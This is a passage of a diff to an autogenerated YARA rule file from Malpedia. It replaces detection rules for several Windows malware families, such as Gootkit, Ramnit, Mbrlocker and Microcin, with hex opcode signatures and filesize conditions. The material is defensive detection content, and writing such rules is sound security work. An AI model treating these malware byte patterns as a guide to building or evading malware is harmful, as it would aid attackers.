+		logic_hash = "f3e7c7707c4dd480b8c042e3891161f91628584450f48860513befa5fa6f9a3b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172259,38 +179318,32 @@ rule MALPEDIA_Win_Tflower_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0001 0200 0103 0303 }
-		$sequence_1 = { 0001 7708 00f3 7608 }
-		$sequence_2 = { 0002 7408 00f7 7308 }
-		$sequence_3 = { 001a 0c05 003c0c 05004e0c05 }
-		$sequence_4 = { 0008 7408 0002 7408 }
-		$sequence_5 = { c1e104 0fb6d0 8b84248c000000 c1e204 8baa406f4f00 }
-		$sequence_6 = { 000f 7708 0001 7708 }
-		$sequence_7 = { c7405420164600 eb5e 57 e8???????? }
-		$sequence_8 = { 3bf7 72e3 5b 5f b001 5e }
-		$sequence_9 = { 0010 740b 0021 740b }
-		$sequence_10 = { 0fb6c0 330c85c0fe4e00 0fb6c3 8b5f28 330c85c0fa4e00 33f1 8d0411 }
-		$sequence_11 = { 8b75fc 8b7df4 c60301 eb06 8b75fc 8b7df4 }
-		$sequence_12 = { 894c2448 7436 8b442410 8d90c8795000 }
-		$sequence_13 = { 330c8520dd4e00 8b442414 c1e818 330c8520d94e00 8b44242c 0fb6c0 }
-		$sequence_14 = { 6a35 eb2b 8bfb eb04 8b442414 ff742420 }
-		$sequence_15 = { 000b 8605???????? 007885 0500788605 }
+		$sequence_0 = { eb1c 83f803 7519 8b06 }
+		$sequence_1 = { e8???????? 8365f400 8d45b0 8945f8 64a118000000 59 59 }
+		$sequence_2 = { 8d4568 50 8d4558 50 8d45c8 6a04 }
+		$sequence_3 = { 8d75d4 33c0 c745dc00330000 6a16 }
+		$sequence_4 = { ff7508 895dfc 895df4 895df8 895dec 895de4 }
+		$sequence_5 = { ffd7 ff15???????? 83f87a 0f85e9000000 8b442410 85c0 0f84dd000000 }
+		$sequence_6 = { 894528 8d4518 50 ff15???????? }
+		$sequence_7 = { 89442408 8944240c 8bf0 8944241c 8d442408 }
+		$sequence_8 = { 50 53 53 53 6a04 ff75fc e8???????? }
+		$sequence_9 = { 6689442434 8d54242c 8b442414 52 57 }
 
 	condition:
-		7 of them and filesize <6578176
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Karma_Auto : FILE
+rule MALPEDIA_Win_Fuwuqidrama_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7f63a996-b29b-562f-996a-826393522cf0"
+		id = "2e69e70e-5601-5931-bcd7-e645b5b9c52f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karma"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.karma_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fuwuqidrama_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "2f60ce68960b60e178a1e413eabfae876f08564938fc3ab9af48ba4bf8caac6e"
+		logic_hash = "8de556fe8f63afd7a879ecce2fdbb1a150474ddb330c86740527423f92305d9c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172304,32 +179357,32 @@ rule MALPEDIA_Win_Karma_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b7f08 8bc7 d3e8 8b4d08 }
-		$sequence_1 = { 8bf9 8955f0 33c0 663907 7408 40 66833c4700 }
-		$sequence_2 = { 0f1006 0f114318 e8???????? 5f }
-		$sequence_3 = { ebc5 33ff 6690 0fb78ffc434000 }
-		$sequence_4 = { ff15???????? 6a00 8d442444 50 6800710200 }
-		$sequence_5 = { 660fefc8 0f1148f0 83e901 75e7 8d55e0 }
-		$sequence_6 = { 894dfc 894dc0 894dc4 894dc8 894dcc }
-		$sequence_7 = { 8b4c2418 8b44241c 83c140 6a00 6a00 83d000 }
-		$sequence_8 = { 8d4e20 0f47ce 2bca 750e 6685db 0f84c5000000 }
-		$sequence_9 = { 66833c45f051400000 75f4 33d2 663915???????? 7415 660f1f840000000000 }
+		$sequence_0 = { 8b44241c 8db08c000000 8b8314140000 83f802 764a 8d6b1a 85ed }
+		$sequence_1 = { 8b842490020000 52 50 8d4c2444 68???????? 51 }
+		$sequence_2 = { 8917 8b542414 894704 b801000000 894f08 89570c 5f }
+		$sequence_3 = { 57 33ff 8bd9 57 57 8d4c2430 }
+		$sequence_4 = { 8bdf 036908 c1c305 036c2424 c1c61e 89742418 8b712c }
+		$sequence_5 = { 83c508 55 ffd7 8a542412 899ec8030000 8896c4030000 899ecc030000 }
+		$sequence_6 = { 8bdf 036918 c1c305 036c2410 c1c61e 89742428 8d9c2bd6c162ca }
+		$sequence_7 = { ff5220 8d460c 50 ff15???????? 8b4624 }
+		$sequence_8 = { 50 ffd6 8d4c242c 6a02 8d542418 51 52 }
+		$sequence_9 = { 3d10270000 0f87e7020000 8b5708 8b4704 52 50 8bcf }
 
 	condition:
-		7 of them and filesize <49208
+		7 of them and filesize <245760
 }
-rule MALPEDIA_Win_Applejeus_Auto : FILE
+rule MALPEDIA_Win_Dispcashbr_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b213dd7-4b0e-53d6-9398-7bec043b88e3"
+		id = "02a73395-ac12-50d4-b2ec-e868c4b1a459"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.applejeus_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dispcashbr_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "0a3d67a5753a00f446b4f5eec17ef4a4499de52aeb8e82581c3d643c4e67e3d2"
+		logic_hash = "60c8be22bea8462dd56c514e62576b626445f5aa18aea505cf9cb5c5983fb848"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172343,32 +179396,32 @@ rule MALPEDIA_Win_Applejeus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8902 8b4608 8b08 8b4604 810044f3ffff 8100bc0c0000 }
-		$sequence_1 = { 8b4604 8b00 33c2 0f8583000000 c745f45b000000 8b45f4 83f032 }
-		$sequence_2 = { 8945dc 8d45d0 c745d0a08e4200 897dd4 8975d8 0f1145b0 }
-		$sequence_3 = { 8b4a04 50 0f1145c8 c745a8e0294200 0f1145d8 897dac 8975b0 }
-		$sequence_4 = { e8???????? 8b4dc8 83c414 8945cc 89851cffffff c700???????? 897004 }
-		$sequence_5 = { c745e400000000 8b410c 50 6a00 51 8b04851cfb4600 ffd0 }
-		$sequence_6 = { c68589f5ffff7d c6858af5ffff85 c6858bf5ffff72 c6858cf5ffff83 c6858df5ffff59 c6858ef5ffff3a c6858ff5ffff77 }
-		$sequence_7 = { 8d4db0 e9???????? 8d4db4 e9???????? 8d4dac e9???????? 8b542408 }
-		$sequence_8 = { e8???????? 8b7588 8d4d94 83c418 e8???????? c78568ffffffd5030000 8b8568ffffff }
-		$sequence_9 = { 8d85d42e0000 50 ff15???????? 57 ff15???????? e9???????? ff15???????? }
+		$sequence_0 = { e8???????? 83ec08 c7442408ceffffff c7442404???????? }
+		$sequence_1 = { e8???????? 83ec08 c7442408eaffffff c7442404???????? }
+		$sequence_2 = { e8???????? 83ec08 c7442408ceffffff c7442404???????? a1???????? 83c020 }
+		$sequence_3 = { a1???????? 83c020 890424 e8???????? eb45 c70424f5ffffff e8???????? }
+		$sequence_4 = { 83ec08 c7442408f2ffffff c7442404???????? a1???????? 83c020 890424 e8???????? }
+		$sequence_5 = { 83ec08 c7442408d9ffffff c7442404???????? a1???????? 83c020 890424 }
+		$sequence_6 = { 890424 e8???????? 83ec08 c7442408d7ffffff }
+		$sequence_7 = { 890424 e8???????? 83ec08 c7442408c9ffffff c7442404???????? }
+		$sequence_8 = { 83ec04 c744240404000000 890424 e8???????? 83ec08 c7442408f2ffffff c7442404???????? }
+		$sequence_9 = { c70424f5ffffff e8???????? 83ec04 c744240404000000 }
 
 	condition:
-		7 of them and filesize <1245184
+		7 of them and filesize <123904
 }
-rule MALPEDIA_Win_Imprudentcook_Auto : FILE
+rule MALPEDIA_Win_Ramnit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "da16e08a-4583-5528-aff9-b355b3ccc1ad"
+		id = "9f7bb136-c877-5703-86ba-5c3c0993dd1e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.imprudentcook"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.imprudentcook_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ramnit_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "dc1ba99de715ff44414f303429509d324c0251135a2ef150545d89588c26b553"
+		logic_hash = "a743fa525eb529644f7aae0eeccbdf2bcc4af05febdbf59986022c9547272ab4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172382,34 +179435,34 @@ rule MALPEDIA_Win_Imprudentcook_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d3c0b 483bf9 4983d200 4883ee18 4d03da 4d03d9 48ffcd }
-		$sequence_1 = { 4983c708 4983c508 48ffc9 75ec 49894500 488b5520 488d4fff }
-		$sequence_2 = { 4d8bc4 498bd2 eb08 4c89642420 4c8bc7 }
-		$sequence_3 = { 488d04ed00000000 4c03f5 4803f5 48ffc3 4c03f8 4c3bf7 7ec8 }
-		$sequence_4 = { 4c8bcf 4d8bc5 498bd4 e8???????? 488b9580000000 41b901000000 4d8bc6 }
-		$sequence_5 = { 4d3bfe 0f8c45ffffff 4c8bac2488000000 4f8d7c2d00 498bde 4d3bf7 }
-		$sequence_6 = { 8807 e9???????? 81fb0b000100 0f8dfb030000 81fb0000007e 0f87f7030000 85db }
-		$sequence_7 = { 4803c2 48c1f806 488bf8 488bd8 488b8424c0000000 4c8d1cf8 48c1e306 }
-		$sequence_8 = { 4833c2 482bc2 488bd3 493bc2 7d1a 4c895c2428 4c89442420 }
-		$sequence_9 = { e9???????? 48ffcd b938000000 90 488bc3 48d3e8 84c0 }
+		$sequence_0 = { 3a06 7512 47 46 e2f6 b801000000 59 }
+		$sequence_1 = { 750b 4f 3b7d08 73e7 bf00000000 }
+		$sequence_2 = { 57 56 fc 807d1401 }
+		$sequence_3 = { 5f 59 5a 5b c9 c20800 55 }
+		$sequence_4 = { ff750c ff75fc e8???????? 0bc0 7429 }
+		$sequence_5 = { 8bc7 5a 5b 59 5f }
+		$sequence_6 = { 8bc1 f7d0 48 59 5f 5e }
+		$sequence_7 = { f3a4 fc 5e 5f 59 5a }
+		$sequence_8 = { 8bd7 2b5508 59 5f 5e }
+		$sequence_9 = { 8b5d0c 4b f7d3 23c3 }
 
 	condition:
-		7 of them and filesize <864256
+		7 of them and filesize <470016
 }
-rule MALPEDIA_Win_Gootkit_Auto : FILE
+rule MALPEDIA_Win_Mbrlocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "50659808-58ce-5271-8f0d-8034418275c7"
+		id = "6a472526-8a03-5ccc-a5eb-10b46b34c6da"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gootkit_auto.yar#L1-L327"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mbrlocker_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "a2cf121428fb2173dc07901e77686f48303de5dc8bfa584df38195e7a090200e"
+		logic_hash = "2abe677d378843746aa6479444a4219927906b009fff2766ade4f081783dbae6"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -172421,60 +179474,34 @@ rule MALPEDIA_Win_Gootkit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a04 6800300000 57 6a00 897df8 }
-		$sequence_1 = { 50 ff75fc ffd7 33c9 c745f804000000 41 33f6 }
-		$sequence_2 = { 8945f0 85c0 7435 8b01 ff75f4 03c3 }
-		$sequence_3 = { e8???????? 8bd8 85db 0f45f3 33c0 50 }
-		$sequence_4 = { 83feff 7509 57 ff15???????? 8bf0 53 }
-		$sequence_5 = { 895de8 2bf1 75d5 8b5df0 8b5508 51 }
-		$sequence_6 = { 6a00 53 ff15???????? eb06 8b7dd8 }
-		$sequence_7 = { 8bd6 e8???????? 8b7dfc 59 59 85c0 }
-		$sequence_8 = { f3aa 68???????? ff15???????? 50 }
-		$sequence_9 = { 8b7df4 32c0 8b4de4 f3aa }
-		$sequence_10 = { 50 e8???????? 83c40c 68fd000000 }
-		$sequence_11 = { 50 68???????? ff15???????? 85c0 7505 e8???????? }
-		$sequence_12 = { 50 8b4508 8b00 99 }
-		$sequence_13 = { c705????????01000000 c705????????02000000 8be5 5d c3 }
-		$sequence_14 = { 833d????????00 750a 6a32 ff15???????? }
-		$sequence_15 = { 6808020000 6a00 ff15???????? 50 }
-		$sequence_16 = { e8???????? 6a0c 6a08 ff15???????? 50 ff15???????? }
-		$sequence_17 = { 50 6a02 ff15???????? 6888130000 }
-		$sequence_18 = { e8???????? 8d45fc 50 6a01 6a01 }
-		$sequence_19 = { e8???????? 85c0 750c c705????????03000000 }
-		$sequence_20 = { 8b4508 8b00 99 52 50 6a00 }
-		$sequence_21 = { 68???????? 51 51 ff15???????? 50 }
-		$sequence_22 = { 53 53 53 8901 }
-		$sequence_23 = { 83faff 7508 ff15???????? 8bd0 }
-		$sequence_24 = { e8???????? 3935???????? 7412 83ec0c ba???????? b9???????? }
-		$sequence_25 = { 6a40 6a00 8bf7 57 81e60000ffff e8???????? 8b4608 }
-		$sequence_26 = { ff15???????? a3???????? 391d???????? 7428 85c0 }
-		$sequence_27 = { 8d4204 3bc8 7344 2bca 898de4fdffff 034e0c }
-		$sequence_28 = { ff15???????? 85c0 7510 8d4864 }
-		$sequence_29 = { 0f114710 0f104030 0f114f20 0f104840 0f114730 0f104050 }
-		$sequence_30 = { 85c0 7550 ff15???????? 8bf8 893d???????? }
-		$sequence_31 = { 6a1c 50 56 ff15???????? 8b4de8 }
-		$sequence_32 = { 0f104010 0f110f 0f104820 0f114710 }
-		$sequence_33 = { 0f114f50 0f104060 0f114760 8b4070 894770 be01000000 }
-		$sequence_34 = { 8d4864 ff15???????? ffc3 83fb0a 7cd5 }
-		$sequence_35 = { 0f104050 0f114f40 0f104860 0f114750 0f114f60 b801000000 }
+		$sequence_0 = { 50 8b35???????? 8b3d???????? 6a10 68???????? }
+		$sequence_1 = { 68fe000000 68???????? ffd7 83c408 }
+		$sequence_2 = { 68ac000000 68???????? e8???????? 68ac000000 68???????? ffd7 83c408 }
+		$sequence_3 = { c705????????ba514000 c705????????00020000 68fe000000 68???????? ffd6 83c408 68ff000000 }
+		$sequence_4 = { 68ac000000 68???????? e8???????? e8???????? }
+		$sequence_5 = { 68ff000000 68ac000000 68???????? e8???????? e8???????? 68ff000000 68ac000000 }
+		$sequence_6 = { ac 30c8 aa 4a 75f9 61 c9 }
+		$sequence_7 = { 68fe000000 68???????? e8???????? 68fe000000 }
+		$sequence_8 = { 68fe000000 68???????? e8???????? e8???????? 68ff000000 68fe000000 }
+		$sequence_9 = { 31c8 e8???????? 68ac000000 68???????? }
 
 	condition:
-		7 of them and filesize <516096
+		7 of them and filesize <43008
 }
-rule MALPEDIA_Win_Helminth_Auto : FILE
+rule MALPEDIA_Win_Microcin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e8458d0c-0e53-5434-b94f-d27e99b6a572"
+		id = "7e85e39e-7daa-514d-802c-54d6ff85c6e9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.helminth_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.microcin_auto.yar#L1-L465"
 		license_url = "N/A"
-		logic_hash = "40475479d37d8203c72424a48ad87a8ce641700a54f37b53283dc8f7df269c35"
+		logic_hash = "3f18992fe004fbfcac38bd4eed04ab5733b0957df603607ba4dee35273474322"
 		score = 75
-		quality = 75
+		quality = 44
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -172486,37 +179513,72 @@ rule MALPEDIA_Win_Helminth_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { a1???????? 68e8030000 8907 e8???????? }
-		$sequence_1 = { 83e61f c1e606 57 8b3c9d70750110 8a4c3704 }
-		$sequence_2 = { 894c2408 8d9b00000000 668b02 83c202 6685c0 }
-		$sequence_3 = { c1e106 899528e5ffff 53 8b149570750110 898d24e5ffff 8a5c1124 02db }
-		$sequence_4 = { 85ff 0f84be000000 897de0 8b049d70750110 0500080000 3bf8 }
-		$sequence_5 = { 03f2 eb5c 8b45f4 8b0c8570750110 f644190448 }
-		$sequence_6 = { 80c980 884c3704 8b0c9d70750110 8a443124 2481 }
-		$sequence_7 = { 2c2c 2c2c 232425???????? 2c2c 2c2c 2c2c }
-		$sequence_8 = { e8???????? 59 6a64 ff15???????? 57 57 }
-		$sequence_9 = { 8bf9 897c2410 e8???????? 8bcf }
-		$sequence_10 = { 8a02 8b9524e5ffff 8b0c9d28eb4100 88440a34 8b049d28eb4100 c744023801000000 }
-		$sequence_11 = { 663bc1 75f4 6a18 59 be???????? }
-		$sequence_12 = { a1???????? eb0c c745e4a4ee4100 a1???????? 33db }
-		$sequence_13 = { 83c102 663bc3 75f4 a1???????? 8bd7 }
-		$sequence_14 = { 6a03 68???????? 8d0c458ce44100 8bc1 2d???????? d1f8 }
+		$sequence_0 = { 50 56 ff15???????? 85c0 0f45f7 }
+		$sequence_1 = { 442bc3 4803d6 4533c9 ff15???????? 85c0 75d9 488b742438 }
+		$sequence_2 = { ff15???????? 488bcb ff15???????? 448bc0 }
+		$sequence_3 = { 57 4154 4156 4157 488dac2400fbffff 4881ec00060000 488b05???????? }
+		$sequence_4 = { e8???????? 83c40c 8d85f8feffff 6804010000 50 ff15???????? 8d85f8feffff }
+		$sequence_5 = { 488b09 418bf8 488bf2 33db }
+		$sequence_6 = { ff15???????? 8b3d???????? 8d85e0feffff 50 }
+		$sequence_7 = { 488bcb 664489642438 488bf0 ff15???????? }
+		$sequence_8 = { 68ffff0000 56 8b35???????? ffd6 }
+		$sequence_9 = { 85c0 7e18 80bc35a8feffff3a 741f 8d85a8feffff 46 50 }
+		$sequence_10 = { c6840d8002000033 488d8d80020000 ff15???????? 4863c8 c6840d8002000079 }
+		$sequence_11 = { ff15???????? 8b1d???????? 8d85a8feffff 50 ffd3 }
+		$sequence_12 = { ff15???????? 4863c8 c6840d7002000062 488d8d70020000 ff15???????? 4863c8 }
+		$sequence_13 = { ff15???????? 85c0 7426 8b400c }
+		$sequence_14 = { 33f6 50 ffd3 85c0 7e18 }
+		$sequence_15 = { 488d4c2460 ff15???????? 4863c8 807c0c5f5c 7413 488d4c2460 ff15???????? }
+		$sequence_16 = { 41bc14030000 4c8d0574130100 488bcd 418bd4 e8???????? 33c9 85c0 }
+		$sequence_17 = { 83c108 51 ff15???????? 8b4dfc }
+		$sequence_18 = { 7370 696465726167656e 742e 657865 }
+		$sequence_19 = { 6e 6d 656e 7400 }
+		$sequence_20 = { 8b4510 8b8c8d78feffff 890c90 ebc8 e9???????? }
+		$sequence_21 = { 7647 498bcd e8???????? 4c8d05b7120100 41b903000000 }
+		$sequence_22 = { fa fa fa fa fa fa }
+		$sequence_23 = { 8b4df0 e8???????? 8d45f8 50 6a00 }
+		$sequence_24 = { 6828010000 8d85ccfeffff 6a00 50 }
+		$sequence_25 = { 418d7c24e7 85c0 752a 4c8d0502130100 8bd7 498bcd }
+		$sequence_26 = { 4c8d056c120100 498bd4 488bcd e8???????? 85c0 7541 4c8bc3 }
+		$sequence_27 = { 636373 7673 6873742e65 7865 }
+		$sequence_28 = { ff15???????? 8b45f4 8b4824 894dfc 8b55f4 83c208 }
+		$sequence_29 = { 8945fc eb42 8b45f8 33d2 }
+		$sequence_30 = { 8bd9 488d0d950c0100 ff15???????? 4885c0 7419 488d15730c0100 488bc8 }
+		$sequence_31 = { 488d15f8110100 41b810200100 488bcd e8???????? e9???????? 4533c9 4533c0 }
+		$sequence_32 = { 8b8504ffffff 898574feffff 8b4d0c 8b91fc020000 8b4508 0390f0040000 8b4d10 }
+		$sequence_33 = { 488bcd e8???????? 85c0 751a 488d15f8110100 41b810200100 }
+		$sequence_34 = { 8b55fc 83c208 52 ff15???????? 8b45fc c7400421000000 }
+		$sequence_35 = { 33c9 4889742420 e8???????? cc 4c8d056c120100 }
+		$sequence_36 = { 83ec08 894df8 c745fc00a40000 6a40 6800100000 6800a40000 6a00 }
+		$sequence_37 = { 49 53 53 56 43 }
+		$sequence_38 = { 8b4c2414 33cc e8???????? 8be5 5d c21000 57 }
+		$sequence_39 = { 0115???????? 1515151503 1515151515 1515041515 1515050607 0809 }
+		$sequence_40 = { 8d85e8feffff 50 ff95e4feffff 59 59 837d1c00 7513 }
+		$sequence_41 = { 8b8431f4dfffff 44 2bd8 45 2b9c31f8dfffff 45 895c2404 }
+		$sequence_42 = { 6a00 8d442448 50 ff15???????? 85c0 7420 }
+		$sequence_43 = { 8b4c2408 49 8b542410 e8???????? 85c0 74db 89c0 }
+		$sequence_44 = { f7f7 8365ec00 85c0 0f8e94010000 8365f000 8b7e44 }
+		$sequence_45 = { 89f1 48 8d5510 e8???????? 90 e8???????? bab3c4b3c4 }
+		$sequence_46 = { 6a00 8d85b0feffff 50 56 }
+		$sequence_47 = { 6a00 56 c785b4feffff00000000 ff15???????? 50 56 }
+		$sequence_48 = { 8d44245c 50 ff15???????? 33c0 5f }
+		$sequence_49 = { c744241030000000 c744241403000000 c7442418d0114000 c744241c00000000 c744242000000000 89742424 c744242800000000 }
 
 	condition:
-		7 of them and filesize <479232
+		7 of them and filesize <417792
 }
-rule MALPEDIA_Win_Sappycache_Auto : FILE
+rule MALPEDIA_Win_Cookiebag_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ad4dab53-cb13-5a84-86d5-edc74e26f321"
+		id = "c260d983-1fb1-5187-bb1e-a30d172d6701"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sappycache_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cookiebag_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "f4483696db263dfbbabb83dfce8ccde9309b112a65cf425cc63ed3dc1fcead40"
+		logic_hash = "74595c8c00c27ebea5fcf6294fdb19b48126392d3364dc5a9bcc9f574cb25599"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172530,32 +179592,32 @@ rule MALPEDIA_Win_Sappycache_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 448bcf 895c2428 33d2 33c9 4889442420 488bf0 ff15???????? }
-		$sequence_1 = { ff15???????? 85c0 7428 488bcd 488d1545f80000 }
-		$sequence_2 = { 488b8188000000 488d0d16fa0000 4883c018 7452 8bd7 0f1000 }
-		$sequence_3 = { ff15???????? 41b904000000 c7452060ea0000 4c8d4520 }
-		$sequence_4 = { 4c8d0dd6860000 c5f35cca c4c173590cc1 4c8d0da5760000 c5f359c1 }
-		$sequence_5 = { 49ffc0 47382c04 75f7 488d157c1f0100 }
-		$sequence_6 = { 4c89742430 448bcf 895c2428 33d2 33c9 4889442420 }
-		$sequence_7 = { f20f1000 8b7808 e9???????? 488d05eed70000 4a8b0ce8 42f644313880 744d }
-		$sequence_8 = { 4c8d0d136d0000 8bf9 488d15ba4d0000 b906000000 4c8d05f66c0000 e8???????? }
-		$sequence_9 = { 4180e003 80e30f 41c0e004 440ac0 }
+		$sequence_0 = { 0f8e39050000 8a442437 bf???????? 88442424 83c9ff 33c0 33ed }
+		$sequence_1 = { 51 8b4c2414 55 e8???????? 84c0 7412 8b442418 }
+		$sequence_2 = { 51 e8???????? 83c404 eb1d 8b4608 8b7604 3bf3 }
+		$sequence_3 = { 50 53 52 e8???????? 8bce e8???????? 8b4c2428 }
+		$sequence_4 = { 83c1fe 51 e8???????? 83c404 8b4c242c 897c243c 3bcf }
+		$sequence_5 = { e8???????? 68???????? e8???????? 83c404 8bd8 8dbe14010000 6a01 }
+		$sequence_6 = { 895c2428 e8???????? 84c0 7427 8b7c2418 8bcd }
+		$sequence_7 = { 85c0 7454 8b87dc000000 85c0 764a 8b44240c }
+		$sequence_8 = { e8???????? 83c414 b001 5f 5e c20400 5f }
+		$sequence_9 = { 6a01 8d4c241c c7442444ffffffff e8???????? 8b4c2438 64890d00000000 }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <311296
 }
-rule MALPEDIA_Elf_Hideandseek_Auto : FILE
+rule MALPEDIA_Win_Shareip_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8886e955-536d-56f5-a630-bf2b9ef8b07e"
+		id = "1e2be420-f7e3-538b-a25d-892f460d058e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.hideandseek_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shareip_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "c312d2a4b534a00f51e15be6e1572c868a1bf84ffb4d93cf13ce0449e347f5bb"
+		logic_hash = "22b55834a3d563030497f1fde153bdd0a045ee32bc87427f1091c9e8cd08bbb9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -172569,32 +179631,32 @@ rule MALPEDIA_Elf_Hideandseek_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 83ec14 8b44242c 8a5c2430 ff7004 ff74242c e8???????? }
-		$sequence_1 = { e8???????? 83c410 84c0 752e 83ec0c 8d84241c120000 50 }
-		$sequence_2 = { 8d44244c 50 e8???????? 5b 8d442440 50 e8???????? }
-		$sequence_3 = { 89ca 8b0424 0fa4d91e 31c8 8b4c2430 0fa4d31e 8b542404 }
-		$sequence_4 = { 7411 0f821e040000 83f802 0f8508040000 eb04 50 50 }
-		$sequence_5 = { be00000000 b800000000 c1e210 09c6 c1e718 31db 0fb64504 }
-		$sequence_6 = { 50 e8???????? 83c410 84c0 741a 8b542414 c7434403000000 }
-		$sequence_7 = { 817e0c00010000 751a 8d5610 8d4650 53 68c0000000 50 }
-		$sequence_8 = { 56 53 8b7c2410 803d????????00 7561 83ec0c 6800000011 }
-		$sequence_9 = { 50 8b8424ec000000 ff7008 e8???????? 89f2 8b8424f0000000 }
+		$sequence_0 = { 8d8534feffff e9???????? 8d8da8feffff e9???????? 8d8558feffff e9???????? 8d8544ffffff }
+		$sequence_1 = { 894638 85c9 740f 8bd0 8d4900 8a01 8802 }
+		$sequence_2 = { 8a8064954500 08443b1d 0fb64601 47 3bf8 76ea 8b7d08 }
+		$sequence_3 = { 395c2444 7426 3bc3 7422 50 e8???????? 8b4c2444 }
+		$sequence_4 = { 834dfcff 894614 83c40c 8d45e4 50 e8???????? 8b07 }
+		$sequence_5 = { 8b44241c 50 8d8c24a0010000 51 53 53 53 }
